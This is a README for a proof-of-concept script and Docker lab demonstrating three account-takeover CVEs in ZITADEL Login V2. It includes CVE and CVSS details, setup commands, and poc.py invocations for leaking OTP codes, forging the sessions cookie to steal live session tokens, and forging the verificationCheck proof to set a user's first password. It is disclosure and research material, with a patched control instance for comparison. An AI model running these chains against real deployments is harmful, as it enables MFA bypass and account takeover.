
Python PoC and Docker lab for three ZITADEL Login V2 takeover flaws: OTP code leakage, unsigned session-cookie token theft, and forgeable verificationCheck first-credential setup.
One PoC script, one lab, three critical ZITADEL Login V2 takeover bugs that share the same attack surface (the Next.js server actions of the hosted login UI):
returnCode OTP delivery type lets an unauthenticated attacker who knows only a login name read the victim's OTP-Email and OTP-SMS codes straight out of a server-action response and submit both as verified second factors. The backend counted two second factors as satisfying MFA, so the result is an MFA-marked session for the victim with no password, passkey or IdP login ever presented. This is the Citrix-Bleed shape for IAM: the OTP factor stops being a second factor at all.sessions cookie was a plain unsigned JSON array that carries each session's live bearer token. The login app forwards session ids from that cookie to the session API using its own service credential (session.write), and the session API issues a fresh token for token-less updates - so a forged cookie entry with a guessed (time-ordered) session id and an empty token makes the login app rotate and hand out the victim's authenticated session, MFA included.verificationCheck cookie that gates first-credential setup was sha256(userId : fingerprintId), two values the client controls. Forging it lets an unauthenticated attacker set the first password (or passkey / IdP link) of any ACTIVE user who has no authentication method yet - invited and API-provisioned users sitting in their onboarding window - and then sign in as that user.All three chains are demonstrated end-to-end against local vulnerable builds, with a fully patched 4.19.5 instance as the control.
| CVE-2026-105211 | CVE-2026-109373 | CVE-2026-119128 | |
|---|---|---|---|
| CVSS (vendor) | 9.2 critical (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N; vendor CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) | 9.2 critical (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N; vendor CVSS 3.1 8.1) | 9.1 critical (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) |
| Affected | 4.0.0 - 4.17.0 (Login V2 UI; the vendor advisory scopes it to the 4.x line) | 3.0.0 - 3.4.15 and 4.0.0 - 4.19.1 | 4.0.0 - 4.19.4 |
| Fixed | 4.17.1 | 4.19.2 | 4.19.5 |
| CWE (advisory) | CWE-200 / CWE-287 / CWE-306 | CWE-441 / CWE-565 | CWE-565 |
| Advisory | GHSA-3gwm-5wx8-4gm6 (vendor; DB advisory GHSA-mq63-7hcv-jfrc), VulnCheck, NVD | GHSA-jh92-5mrj-p2w2 (vendor), VulnCheck, NVD | GHSA-84fg-x5h4-w8xv (vendor), VulnCheck, NVD |
| KEV | not listed (as of 2026-11-14) | not listed (as of 2026-11-14) | not listed (as of 2026-11-14) |
| Lab verdict | confirmed on 4.16.3, refused by 4.19.5 | confirmed on 4.19.1, refused by 4.19.5 | confirmed on 4.19.4, refused by 4.19.5 |
Preconditions, stated honestly:
LoginV2Required is on by default on new instances). Login V1-only deployments are not affected (109373 scope note in the advisory; the other two live in the V2 server actions).# bring up the lab (4 boxes + SMTP catcher); first boot takes a few minutes
bash nginx/generate.sh
docker compose up -d
docker compose ps # wait for api/login healthchecks on all boxes
# provision state per box (SMTP, SMS provider, OTP-enrolled victims, pending user)
python3 lab-setup.py --box v1 && python3 lab-setup.py --box v2 \
&& python3 lab-setup.py --box v3 && python3 lab-setup.py --box ctl
lab-setup.py prints the per-box ids (victim session target, 119128 target user) needed below. Action ids are extracted automatically from each target's own JavaScript bundles, so the script works against other builds; --version v4.16.3 pins the known maps instead.
# CVE-2026-105211 - OTP codes leak from an identify-only session; victim needs
# OTP-Email + OTP-SMS enrolled (lab-setup.py does this on v1). No credentials used.
python3 poc.py --mode otp --target http://127.0.0.1:8091 \
--login-name victim-otp --control http://127.0.0.1:8094 --admin-pat data/v1/bootstrap/admin.pat
# --target vulnerable instance
# --control patched instance run through the same chain (expected: refusal)
# --login-name / --victim-login etc.: victim identifiers this PoC targets
# --admin-pat: lab-observer PAT, used only for the session-factors readback that
# documents the takeover session; the attack steps never need it
# CVE-2026-109373 - forge the unsigned sessions cookie with a session id and an
# empty token; the login app rotates and hands out that session's live token
python3 poc.py --mode session --target http://127.0.0.1:8092 \
--victim-session-id <victim-session-id> --victim-login victim-cookie \
--control http://127.0.0.1:8094 --admin-pat data/v2/bootstrap/admin.pat
# CVE-2026-119128 - forge the verificationCheck proof and set the first
# credential of an ACTIVE user without methods (target id from lab-setup.py)
python3 poc.py --mode firstcred --target http://127.0.0.1:8093 \
--target-user-id <pending-user-id> --target-login <pending-login> \
--admin-pat data/v3/bootstrap/admin.pat
Every mode exits 0 when the chain succeeds on the target, 1 when it is refused (all steps print HTTP codes and the leaked/rotated values as they happen).
Raw captures live in evidence/ (see evidence/00-lab-topology.txt for the lab layout).
CVE-2026-105211 — vulnerable 4.16.3 (left) vs patched 4.19.5 control (right), evidence/01: